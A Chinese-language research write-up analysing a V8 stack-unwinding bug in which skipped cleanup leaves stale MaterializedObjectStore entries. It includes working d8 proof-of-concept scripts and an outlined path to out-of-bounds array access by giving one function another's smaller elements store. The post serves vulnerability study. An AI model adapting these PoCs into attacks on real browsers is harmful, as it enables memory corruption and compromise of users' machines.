近期作者在学习 Chrome V8 漏洞利用相关技术,看了一下Starlabs的师傅分享的一篇文章,从中学习了 V8 漏洞分析与利用的思路。顺着这套研究范式,作者选择了一个 V8CTF 里的漏洞开展实践 —— 该漏洞暂无 CVE 编号,暂无公开利用信息,正好适合练手
本文记录了对该漏洞的根因分析、POC 构造、调试踩坑以及利用思路的完整实践过程
翻阅补丁后可以确定,漏洞位于 V8 的 UnwindAndFindHandler 栈展开逻辑,和 Fast API 异常展开过程中 MaterializedObjectStore 物化对象的清理逻辑相关。撰写本文时,该漏洞还没有公开的完整分析和利用链,这也让它成为一个很合适的研究目标。作者仅依靠这份补丁逆向梳理修复逻辑,理解根因,并自行编写了PoC验证该漏洞的利用方式
未打补丁之前会发生什么?
补丁在这里。我们逐条看看它到底改了什么
@@ -2918,6 +2918,12 @@ Tagged<Object> Isolate::UnwindAndFindHandler() {
for (StackFrameIterator iter(this, thread_local_top());; iter.Advance()) {
if (ignore_next_frame) {
ignore_next_frame = false;
+ // Since we are skipping the next frame, we must manually perform the
+ // unwinding cleanup for it here, as the 'continue' will bypass the
+ // cleanup at the end of the loop body.
+ if (iter.frame()->is_optimized_js()) {
+ materialized_object_store_->Remove(iter.frame()->fp());
+ }
continue;
}
int visited_frames = iter.frame()->iteration_depth();六行代码,一个文件,而且只加不删——没有任何一行被改写。光是这一点就已经把方向指出来:*不是某个条件判断写错了,而是少做了一件事。
提交信息其实已经把话说得很白:
However, using a simple continue to skip the frame's iteration bypassed
the per-frame unwinding cleanup at the end of the loop body, which removes
materialized objects from the MaterializedObjectStore. This leaked the
materialized objects and caused a crash (due to stale materialized objects)
when the stack frame was subsequently reused at the same call depth by
another function.最后一句值得读两遍:
when the stack frame was subsequently reused at the same call depth by another function
栈帧随后被另一个函数在同一调用深度上复用——这不是一句崩溃描述,这是一个原语
把UnwindAndFindHandler函数代码拉到最底部,可以看到在正常的逻辑中,当函数栈帧发生unwind时,会执行remove操作清除物化对象的指针
if (frame->is_optimized_js()) {
// Remove per-frame stored materialized objects.
bool removed = materialized_object_store_->Remove(frame->fp());
USE(removed);
// If there were any materialized objects, the code should be
// marked for deopt.
DCHECK_IMPLIES(removed, frame->LookupCode()->marked_for_deoptimization());
}而在这个分支的代码中,会把ignore_next_frame设置为true
case StackFrame::INTERNAL: {
auto code = frame->GcSafeLookupCode();
if (code->builtin_id() ==
Builtin::kDeoptimizationEntry_LazyAfterFastCall) {
// Deoptimization Entry builtin does the exception handling for the
// fast API if the fast API caller was marked for deoptimization.
// Therefore, even though `frame->fp()` says that we are coming from
// the Deoptimization Entry builtin, we have to do the stack unwinding
// as if we come from the fast call. The return address of the fast
// call is still stored in the isolate, so we can just load it from
// there.
Address fast_call_pc = isolate_data()->fast_c_call_caller_pc();
std::optional<Tagged<GcSafeCode>> result =
inner_pointer_to_code_cache()->GetCacheEntry(fast_call_pc)->code;
CHECK(!result->is_null());
Tagged<GcSafeCode> caller_code = result.value();
int caller_offset =
caller_code->GetOffsetFromInstructionStart(this, fast_call_pc);
// Check if there is actually an exception handler registered at the
// return address of the fast call. If so, then we tell the
// deoptimizer of the exception and just return the Deoptimization
// Entry. Otherwise we iterate the stack further to find a handler.
HandlerTable table(TrustedCast<Code>(caller_code));
int handler_offset = table.LookupReturn(caller_offset);
if (handler_offset < 0) {
// No handler was registered for the fast call. The stack iteration
// would therefore continue with the next frame, which is the frame
// of the caller of the fast API call. We checked that frame already
// here, so there is no need to check it again. Additionally, the
// `pc` of the next frame is off by a call instruction, because for
// a normal deopt, the return address on the stack would point to
// the deopt exit of the call, but to reach the current code
// location, the deopt exit has already been called, to the address
// after the deopt exit is on the stack as the return address.
ignore_next_frame = true;
break;
}最终回到patch修复的这段代码时,会直接执行continue跳过循环,循环末尾执行指针清除的操作就成功被跳过了
for (StackFrameIterator iter(this, thread_local_top());; iter.Advance()) {
if (ignore_next_frame) {
ignore_next_frame = false;
continue;
}这本身是一处完全合理的优化。异常从 fast API call 里抛出去、而调用方已经被标记为待去优化时,展开器会经由 DeoptimizationEntry_LazyAfterFastCall 改道;此时调用方那一帧其实已经被检查过一遍了,于是设个标志,让下一轮不要再扫一遍
问题只出在实现方式上:「跳过这一帧」被写成了 continue——它跳过了帧,同时也跳过了对这一帧的记账
这段补丁到底在修什么?
MaterializedObjectStore 是每个 isolate 一张的表,键是帧指针,值是一个装「此前已物化对象」的 FixedArray。注意它的键既不是函数、也不是 code 对象、也不是调用点,就是栈地址 fp:
class MaterializedObjectStore {
public:
DirectHandle<FixedArray> Get(Address fp);
void Set(Address fp, DirectHandle<FixedArray> materialized_objects);
bool Remove(Address fp);
private:
Isolate* isolate_;
std::vector<Address> frame_fps_;
};DirectHandle<FixedArray> MaterializedObjectStore::Get(Address fp) {
std::optional<uint32_t> index = StackIdToIndex(fp);
if (!index.has_value()) {
return Handle<FixedArray>::null();
}
...
}
std::optional<uint32_t> MaterializedObjectStore::StackIdToIndex(Address fp) {
auto it = std::find(frame_fps_.begin(), frame_fps_.end(), fp);
return it == frame_fps_.end() ? std::nullopt
: std::make_optional(static_cast<uint32_t>(
std::distance(frame_fps_.begin(), it)));
}整个设计依赖一条严格的生命周期不变量:表里的条目,只在它对应的那一帧还活着的时候有效
所以无论是正常弹出,还是被展开器跳过,条目就必须跟着消失
一条残留记录会流向哪里?
真正有意思的部分,从栈重新长起来的那一刻开始。栈帧会被反复复用——同样的调用深度、同样的帧布局、同样的地址。如果之后另一个函数被优化后正好落进同一个 fp,去优化器一查表,就查到了那条孤儿记录:
DirectHandle<FixedArray> previously_materialized_objects =
materialized_store->Get(stack_frame_pointer_); // 新帧的 fp
if (previously_materialized_objects.is_null()) return;从这一行起,V8 认定:某个函数A残留的物化对象,属于现在的函数B,而在物化对象发生复用时也只check对象长度是否一致
uint32_t length = base::checked_cast<uint32_t>(object_positions_.size());
CHECK_EQ(length, previously_materialized_objects->ulength().value());
for (uint32_t i = 0; i < length; i++) {
if (previously_materialized_objects->get(i) != *marker) {
TranslatedState::ObjectPosition pos = object_positions_[i];
TranslatedValue* value_info =
&(frames_[pos.frame_index_].values_[pos.value_index_]);
CHECK(value_info->IsMaterializedObject());
if (value_info->kind() == TranslatedValue::kCapturedObject ||
value_info->kind() == TranslatedValue::kCapturedStringConcat) {
Handle<Object> object(previously_materialized_objects->get(i),
isolate_);
CHECK(IsHeapObject(*object));
value_info->set_initialized_storage(Cast<HeapObject>(object));
} else {
...
}
}
}于是原语成形了:只要两个帧共用同一个 fp、对象 position 数量对得上,通过函数A栈帧里寻址到的物化对象可以被塞进函数B翻译状态里的槽位
其实看懂前文思路就很明确了,首先需要理解物化对象这个概念,v8执行js代码大致分为两类,也是我们所熟知的,编译器编译成机器码(优化状态)执行或者解释器执行字节码,而当一个函数的对象只在内部使用时,会被优化,直接存储到栈上或者寄存器,但是当发生去优化退回到解释器执行状态就需要存储到堆中,这个过程就是物化,所以第一步需要做的就是弄出一个物化对象
StoreMaterializedValuesAndDeopt调用materialized_store->Set完成物化操作
void TranslatedState::StoreMaterializedValuesAndDeopt(JavaScriptFrame* frame) {
MaterializedObjectStore* materialized_store =
isolate_->materialized_object_store();
DirectHandle<FixedArray> previously_materialized_objects =
materialized_store->Get(stack_frame_pointer_);
Handle<Object> marker = isolate_->factory()->arguments_marker();
uint32_t length = base::checked_cast<uint32_t>(object_positions_.size());
bool new_store = false;
if (previously_materialized_objects.is_null()) {
previously_materialized_objects =
isolate_->factory()->NewFixedArray(length, AllocationType::kOld);
for (uint32_t i = 0; i < length; i++) {
previously_materialized_objects->set(i, *marker);
}
new_store = true;
}
CHECK_EQ(length, previously_materialized_objects->ulength().value());
bool value_changed = false;
for (uint32_t i = 0; i < length; i++) {
TranslatedState::ObjectPosition pos = object_positions_[i];
TranslatedValue* value_info =
&(frames_[pos.frame_index_].values_[pos.value_index_]);
CHECK(value_info->IsMaterializedObject());
// Skip duplicate objects (i.e., those that point to some other object id).
if (static_cast<uint32_t>(value_info->object_index()) != i) {
continue;
}
DirectHandle<Object> previous_value(previously_materialized_objects->get(i),
isolate_);
DirectHandle<Object> value(value_info->GetRawValue(), isolate_);
if (value.is_identical_to(marker)) {
...
} else {
if (*previous_value == *marker) {
...
previously_materialized_objects->set(i, *value);
value_changed = true;
} else {
...
}
}
}
if (new_store && value_changed) {
materialized_store->Set(stack_frame_pointer_,
previously_materialized_objects);
...
Deoptimizer::DeoptimizeFunction(
frame->function(), LazyDeoptimizeReason::kFrameValueMaterialized,
frame->LookupCode());
}
}将上面这段代码投喂给ai,拷打ai还是比较容易出结果的
//gdb --args ./out/x64.debug/d8 --allow-natives-syntax poc.js
function leaf() {
let args = middle.arguments[0];
throw new Error("Trigger Unwind directly while caller is suspended!");
}
%NeverOptimizeFunction(leaf);
function middle(obj) {
leaf();
return obj.x;
}
function caller() {
let localObj = { x: 42, y: 100 };
return middle(localObj);
}
%PrepareFunctionForOptimization(middle);
%PrepareFunctionForOptimization(caller);
for (let i = 0; i < 5; i++) {
try { caller(); } catch(e) {}
}
%OptimizeFunctionOnNextCall(caller);
try {
caller();
} catch (e) {
}gdb下断点到StoreMaterializedValuesAndDeopt即可观测到成功结果(注:这里有一个坑,由于debug版本太多数据所以实际存储到libv8共享库中,直接下断点会找不到,自行编译debug版本的师傅测试时需要先start启动d8让其加载共享库再下断点!!!)

弄出物化对象了就是补充访问漏洞路径的逻辑了,主要就是让v8执行StackFrame::INTERNAL这条路径的代码,这里作者用到的ai比较拉(gemini flash),直接让ai凭空生成完全乱写的,有出现同样的师傅可以参考一下我的做法,我首先让ai尝试触发其它路径(非默认路径),简单训练它相关的能力,然后把断点下到代码开头,输出frame->type()反馈给ai,经过几轮下来就能写出正确的了
switch (frame->type()) {
case StackFrame::ENTRY:
case StackFrame::CONSTRUCT_ENTRY: {
// For JSEntry frames we always have a handler.
StackHandler* handler = frame->top_handler();
// Restore the next handler.
thread_local_top()->handler_ = handler->next_address();poc:
//./out/x64.debug/d8 --allow-natives-syntax --expose-fast-api poc.js
const fast_c_api = new d8.test.FastCAPI();
// ==========================================
// 1. 目标函数 A:用于制造物化对象与异常打断
// ==========================================
function inlineTarget(escapedObj, apiArg) {
fast_c_api.call_to_number(apiArg);
return escapedObj.x;
}
function outerOptimized(apiArg) {
let localObj = { x: 42, y: 100 };
return inlineTarget(localObj, apiArg);
}
%PrepareFunctionForOptimization(inlineTarget);
%PrepareFunctionForOptimization(outerOptimized);
for (let i = 0; i < 50; i++) {
outerOptimized(42);
}
%OptimizeFunctionOnNextCall(outerOptimized);
outerOptimized(42);
// ==========================================
// 2. 目标函数 B:用于复用栈地址的“健康优化帧”
// 要求:
// - 必须是优化帧 (is_optimized_js() == true)
// - marked_for_deoptimization() 必须保持为 false
// - 在内部抛出异常以触发 Unwinder 的检查逻辑
// ==========================================
function cleanTarget(triggerThrow) {
if (triggerThrow) {
// 抛出普通异常,驱动 V8 的 UnwindAndFindHandler
throw new Error("Trigger Unwind on Clean Frame");
}
return 123;
}
function cleanOptimized(triggerThrow) {
// 保持调用栈深度和结构与 outerOptimized 相当
return cleanTarget(triggerThrow);
}
%PrepareFunctionForOptimization(cleanTarget);
%PrepareFunctionForOptimization(cleanOptimized);
for (let i = 0; i < 50; i++) {
cleanOptimized(false);
}
%OptimizeFunctionOnNextCall(cleanOptimized);
cleanOptimized(false);
// ==========================================
// 3. 构造触发物化的 deopt 对象
// ==========================================
const deopt_obj = {
valueOf: () => {
// 强制触发 ArgumentsFromDeoptInfo -> StoreMaterializedValuesAndDeopt
// 使得 isolate_->materialized_object_store()->Set(fp, ...) 被调用
let materialized = inlineTarget.arguments[0];
%DeoptimizeFunction(outerOptimized);
// 打断执行,不让 Fast C API 正常收尾,直奔栈展开流程
throw new Error("Trigger LazyAfterFastCall and Keep Materialized Objects");
}
};
// ==========================================
// 4. 执行调度逻辑:验证栈帧复用
// ==========================================
function main() {
// [步骤 1]:触发 outerOptimized 的物化与异常中断
// 此时栈顶分配了某个物理栈地址(假设为 FP_A)
try {
outerOptimized(deopt_obj);
} catch (e) {
// 异常在 main 中被接住,栈回退到 main 的高度。
// 如果存在漏洞导致未能及时清理,FP_A 仍然残留在 MaterializedObjectStore 表中。
}
// [步骤 2]:在同一深度调用 cleanOptimized
// 此时 CPU 分配的栈帧基址有极大概率正好等于刚才的 FP_A
// 内部抛出异常,迫使 V8 遍历到 cleanOptimized 时执行:
// bool removed = materialized_object_store_->Remove(frame->fp());
// DCHECK_IMPLIES(removed, frame->LookupCode()->marked_for_deoptimization());
try {
cleanOptimized(true);
} catch (e) {
// 捕获 cleanOptimized 的异常
}
}
main();直接用d8执行成功触发崩溃

到这一步其实已经完成现在大多数"漏洞复现"定义的标准了,不过既然标题写的是利用分析,作者肯定也不会糊弄,弄完漏洞分析就止步于此了
复现环境:d8(commit:ddc0c9801d9afd4d0dcd4960e6b7177ac7b396c0)
环境附件: poc.js
复现流程: d8直接执行特定js程序即可触发越界内存访问

现在阿里云盘似乎不能共享二进制文件了,懒得编译想直接拿运行环境的师傅可以私信作者
Email:[email protected](该邮箱订阅了Linux内核CVE漏洞推送的信息,邮件比较多可能刚好错过,若半天未回复师傅们可以再发一条提醒回复的)
上文提到目前poc能实现的就是复用物化对象,然后由于数量不一致导致崩溃,所以先解决的目标就是通过check,然后实现对物化对象的读写,这里readMaterializedObject的参数从代码层面上来说理应是cleanOptimized传入的localObj,值应该是88.2,99.2
function cleanOptimized(triggerThrow) {
let localObj = [88.2,99.2];
return cleanTarget(triggerThrow, localObj);
}//gdb --args ./out/x64.debug/d8 --allow-natives-syntax test_unwind.js
const fast_c_api = new d8.test.FastCAPI();
let materializedA = undefined;
let observedObject = undefined;
function readMaterializedObject(obj) {
%SystemBreak();
observedObject = obj;
print("before: " + obj[0] + " " + obj[1]);
obj[0] = 123.9;
obj[1] = 456.8;
%SystemBreak();
print("after: " + obj[0] + " " + obj[1]);
}
%NeverOptimizeFunction(readMaterializedObject);
function inlineTarget(escapedObj, apiArg) {
fast_c_api.call_to_number(apiArg);
return escapedObj[0];
}
function outerOptimized(apiArg) {
let localObj = [42.1,100.1];
return inlineTarget(localObj, apiArg);
}
%PrepareFunctionForOptimization(inlineTarget);
%PrepareFunctionForOptimization(outerOptimized);
for (let i = 0; i < 50; i++) {
outerOptimized(42);
}
%OptimizeFunctionOnNextCall(outerOptimized);
outerOptimized(42);
function cleanTarget(triggerThrow, escapedObj) {
let x = escapedObj[0];
let y = escapedObj[1];
if (triggerThrow) {
print("locals: " + x + " " + y);
readMaterializedObject(escapedObj);
throw new Error("Trigger Unwind on Clean Frame");
}
return x + y;
}
function cleanOptimized(triggerThrow) {
let localObj = [88.2,99.2];
return cleanTarget(triggerThrow, localObj);
}
%PrepareFunctionForOptimization(cleanTarget);
%PrepareFunctionForOptimization(cleanOptimized);
for (let i = 0; i < 50; i++) {
cleanOptimized(false);
}
%OptimizeFunctionOnNextCall(cleanOptimized);
cleanOptimized(false);
const deopt_obj = {
valueOf: () => {
materializedA = inlineTarget.arguments[0];
print("A object:");
%DeoptimizeFunction(outerOptimized);
throw new Error("Trigger LazyAfterFastCall and Keep Materialized Objects");
}
};
function main() {
try {
outerOptimized(deopt_obj);
} catch (e) {
}
try {
cleanOptimized(true);
} catch (e) {
}
if (observedObject !== undefined) {
print("after-catch: " +
observedObject[0] + " " +
observedObject[1]);
print("after-catch same-as-A: " +
(observedObject === materializedA));
}
}
main();但由于复用物化对象,实际访问到的是42.1,100.1,这里我们在覆写物化对象前面下了断点,用gdb调试验证一下,看一下写入前后值都是什么(注:通过%SystemBreak();下断点直接执行会有问题,该断点是专门提供gdb调试的,gdb直接按c就能到断点)
gdb到达断点之后执行source tools/gdbinit加载v8提供给gdb的脚本,然后执行jst打印调试信息,这个JSArray就是数组的地址

将其内容输出出来可见确实是函数A的值而非函数B的值

执行到下一个断点再观察,可以发现确实成功修改了

但这有什么用呢?作者一开始想的是,直接走长度混淆类型混淆什么的,就是说,既然B会复用A的物化对象,那写入在语义上是对B进行写入,那A定义的时候短一点,B定义的长一点,当进行读写的时候,写入的实际是A但是长度校验是B,那不就出现越界了吗?
但测试发现这种方法并不可行,拷打了一下ai说是退回解释器执行的原因,然后作者又测试了怎么将一段代码优化(通过v8内置函数,然后预热就行了),但是最终测试发现还是不行,check是读取length字段进行检测,发生越界就退回解释器执行,解释器会重新分配一个element去存储
作者后面又想到了,既然这是指针残留,会不会是一个uaf呢?如果物化对象实质上已经释放了,让v8分配其它对象到那块内存不就有uaf读写了吗?但是最终发现v8释放内存走的是gc而不是某条释放路径,而gc检测到仍存在强引用的情况是不会释放内存的(这个漏洞是出现在栈帧unwind不清除哈希表中的fp指针,从而能寻址到物化对象,但是这条引用是强引用),那到底应该怎么做呢?
且看VCR,作者看到了很有意思的这么一段代码,简单理解就是在检测越界的时候对于JSArray则只会check索引是否超过length,而不会检测length是否超过elements容量
void AccessorAssembler::EmitFastElementsBoundsCheck(
TNode<JSObject> object, TNode<FixedArrayBase> elements,
TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition,
Label* miss) {
TVARIABLE(IntPtrT, var_length);
Comment("Fast elements bounds check");
Label if_array(this), length_loaded(this, &var_length);
GotoIf(is_jsarray_condition, &if_array);
{
var_length = LoadFixedArrayBaseLength(elements);
Goto(&length_loaded);
}
BIND(&if_array);
{
var_length = PositiveSmiUntag(LoadFastJSArrayLength(CAST(object)));
Goto(&length_loaded);
}
BIND(&length_loaded);
GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);
}这有什么用呢?那不难得到一个猜想,如果在运行过程中elements被篡改,指向了一个更低容量的,那超出低容量的访问都是越界的
而element值的来源则是这段代码
void TranslatedState::InitializeJSObjectAt(
TranslatedFrame* frame, int* value_index, TranslatedValue* slot,
DirectHandle<Map> map, const DisallowGarbageCollection& no_gc) {
auto object_storage = Cast<HeapObject>(slot->storage_);
int children_count = slot->GetChildrenCount();
...
PrepareObjectForLayoutChange(object_storage, children_count, no_gc);
...
// properties
...
for (int i = 2; i < children_count; i++) {
slot = GetResolvedSlotAndAdvance(frame, value_index);
int offset = i * kTaggedSize;
uint8_t marker = object_storage->ReadField<uint8_t>(offset);
...
if (marker == kStoreHeapObject) {
DirectHandle<HeapObject> field_value = slot->storage();
WRITE_FIELD(*object_storage, offset, *field_value); // ★ 注入值(elements)
WRITE_BARRIER(*object_storage, offset, *field_value);
continue;
}
CHECK_EQ(kStoreTagged, marker);
DirectHandle<Object> field_value = slot->GetValue();
WRITE_FIELD(*object_storage, offset, *field_value); // 字面量(length)
WRITE_BARRIER(*object_storage, offset, *field_value);
}
object_storage->set_map(isolate(), *map, kReleaseStore); // map 最后写
}再往上溯源其实就是函数B在复用函数A的物化对象时调用的UpdateFromPreviouslyMaterializedObjects,该函数会check长度是否匹配,但经过实测发现check的并不是对象长度而是物化槽数
void TranslatedState::UpdateFromPreviouslyMaterializedObjects() {
MaterializedObjectStore* materialized_store =
isolate_->materialized_object_store();
DirectHandle<FixedArray> previously_materialized_objects =
materialized_store->Get(stack_frame_pointer_);
if (previously_materialized_objects.is_null()) return;
...
DirectHandle<Object> marker = isolate_->factory()->arguments_marker();
uint32_t length = base::checked_cast<uint32_t>(object_positions_.size());
CHECK_EQ(length, previously_materialized_objects->ulength().value());
...
for (uint32_t i = 0; i < length; i++) {
// 这一格有历史值,才注入
if (previously_materialized_objects->get(i) != *marker) {
TranslatedState::ObjectPosition pos = object_positions_[i];
TranslatedValue* value_info =
&(frames_[pos.frame_index_].values_[pos.value_index_]);
CHECK(value_info->IsMaterializedObject());
if (value_info->kind() == TranslatedValue::kCapturedObject ||
value_info->kind() == TranslatedValue::kCapturedStringConcat) {
Handle<Object> object(previously_materialized_objects->get(i), isolate_);
CHECK(IsHeapObject(*object));
value_info->set_initialized_storage(Cast<HeapObject>(object));//slot->storage()值的来源,即函数A的对象指针
}
}
}
}不难想到,完整的利用链则是:
函数A物化,走特殊unwind路径残留fp能寻址到物化对象
函数B物化,但直接复用了函数A的物化对象
函数A和函数B的对象长度不一致,没有这条检测,最终函数B的length是8,elements却是函数A的容量为2的element,实现越界访问
根因只有六行:Isolate::UnwindAndFindHandler() 用 continue 跳过一帧时,把帧尾那句 materialized_object_store_->Remove(fp) 也一起跳过了。fp → 物化对象数组 这条记录因此留在了 store 里,等下一次同一调用深度的另一个函数复用同一个 fp,UpdateFromPreviouslyMaterializedObjects 就把它当成了自己的
复用的校验只看数量。CHECK_EQ(length, prev->ulength()) 比的是两边的物化槽个数——既不是对象长度,也不是实参个数。槽数一对上,槽里放的是什么对象、有多大容量,就没有任何人再检查。于是函数 B 留着自己的 length,却拿到了函数 A 的 backing store,length ≤ elements 容量 这条不变量就此断开
就目前来看,得出比较有经验价值的结论,就是无论拿到什么初始原语,实现越界读写的方法无非是让“边界”和“数据”来自两个互不校验的来源:改与元素个数相关的字段(length 、容量、byte_length ),改指向数据的指针或它的解释方式(elements 、map 、elements kind),或者让边界检查本身缺席或算错。具体走哪条,取决于原语能碰到什么